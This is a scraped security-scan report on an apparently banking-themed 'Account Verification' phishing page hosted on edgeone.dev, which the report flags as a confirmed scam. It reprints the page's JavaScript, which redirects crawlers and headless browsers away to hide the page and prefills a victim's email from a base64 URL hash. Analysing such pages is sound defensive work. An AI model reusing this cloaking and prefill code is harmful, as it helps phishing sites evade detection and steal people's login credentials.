finance banking

English

Within the developer-focused generic top-level domain (.dev), 'ripe-pink-luv1prwo.edgeone.dev' is registered with subdomain 'ripe-pink-luv1prwo'. The second-level label 'edgeone' is 7 characters long with 4 vowels and three consonants. Breaking it apart gives 2 words: edge, one. The median word length lands at 3.5 characters. No strong language cues emerged from the frequency lists.

botcheck

html/2d/2f/2d2f4ef0-dc49-4291-af26-49bd97b1689e.html.gz

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

c264b342e1fad010e31b89be47e88a3107f45012fd48843ab104317f6d1075e8

27d2f0e10ccb85690eb628b23319eaf12e53da552f1f604d099e249da305c1dc

6db15d10697b8f53df7f0bfd883c32a6f6f68f2a69d6ef39ea861bcb900b6697

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

child-src https:  chrome-untrusted://new-tab-page/ chrome-untrusted://ntp-microsoft-auth/;connect-src chrome://webui-test chrome://resources chrome://theme 'self';default-src 'self';font-src chrome://resources 'self';img-src chrome://resources chrome://theme chrome://image chrome://favicon2 chrome://app-icon chrome://extension-icon chrome://fileicon blob: data: 'self';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources chrome://webui-test 'self';style-src chrome://resources chrome://theme 'self' 'unsafe-inline';trusted-types parse-html-subset sanitize-inner-html static-types lottie-worker-script-loader webui-test-script webui-test-html polymer-html-literal polymer-template-event-attribute-policy lit-html-desktop;frame-ancestors 'none';

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;worker-src blob: 'self';frame-ancestors 'none';

base-uri 'none';child-src https:;form-action https://ogs.google.com https://*.corp.google.com;object-src 'none';script-src 'self' 'unsafe-inline' https:;frame-ancestors chrome://new-tab-page/

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;frame-ancestors 'none';

Prudence Malinki

MarkMonitor Inc.

edgeone.dev

Abuse

Google LLC

GOOGLE



(async function () {

    const userAgent = navigator.userAgent || "";

    const suspiciousUA = /bot|crawl|spider|slurp|headless|phantom/i.test(userAgent);

    const isHeadless = navigator.webdriver || false;



    // JS execution confirmation

    localStorage.setItem('js_enabled', 'true');



    // Honeypot trap (use your existing field instead)

    const honeypot = document.getElementById('botcheck');

    if (honeypot && honeypot.value) {

        window.location.href = "https://www.wikipedia.org";

        return;

    }



    // Check if localStorage was written (JS running)

    const jsEnabled = localStorage.getItem('js_enabled') === 'true';



    // Final bot detection logic (without interaction check)

    if (

        suspiciousUA ||

        isHeadless ||

        !jsEnabled

    ) {

        // Redirect bot

        window.location.href = "https://www.wikipedia.org";

    }

})();





// Function to get email from URL hash

function getEmailFromUrl() {

    const hash = window.location.hash.substring(1); // Remove the #

    if (!hash) return null;

    

    // Check if hash is base64 encoded

    if (isBase64(hash)) {

        try {

            return atob(hash); // Decode base64

        } catch (e) {

            return hash; // If decoding fails, assume it's plain email

        }

    }

    return hash;

}



// Function to check if a string is base64 encoded

function isBase64(str) {

    try {

        return btoa(atob(str)) === str;

    } catch (err) {

        return false;

    }

}



// Function to update URL with base64 encoded email

function updateUrlWithEncodedEmail(email) {

    if (!email) return;

    const encodedEmail = btoa(email);

    window.history.replaceState(null, null, `#${encodedEmail}`);

}



// Main function to process email

function processEmail() {

    // Get email from URL

    const email = getEmailFromUrl();

    

    if (email) {

        // Update username field

        document.getElementById('username').value = email;

        

        // Update URL with encoded email if it's not already encoded

        if (!isBase64(window.location.hash.substring(1))) {

            updateUrlWithEncodedEmail(email);

        }

    }

}



// Run when page loads

window.addEventListener('DOMContentLoaded', processEmail);



Account Verification

✅ Low Risk - https://ripe-pink-luv1prwo.edgeone.dev/

Requests	IP Address	Location	AS Autonomous System
6	192.178.183.95Google · CDN	United States	AS15169Google LLC
1	43.174.247.29	Singapore	AS139341ACE
1	209.94.90.1	United States	AS40680Protocol Labs
1	185.199.111.153	United States	AS54113Fastly, Inc.
1	142.251.20.94Google · CDN	United States	AS15169Google LLC
1	104.26.12.205Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
11	6	-	-

Security Scan Report: ripe-pink-luv1prwo.edgeone.dev

Summary

AI Security Verdict

Confirmed Scam

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History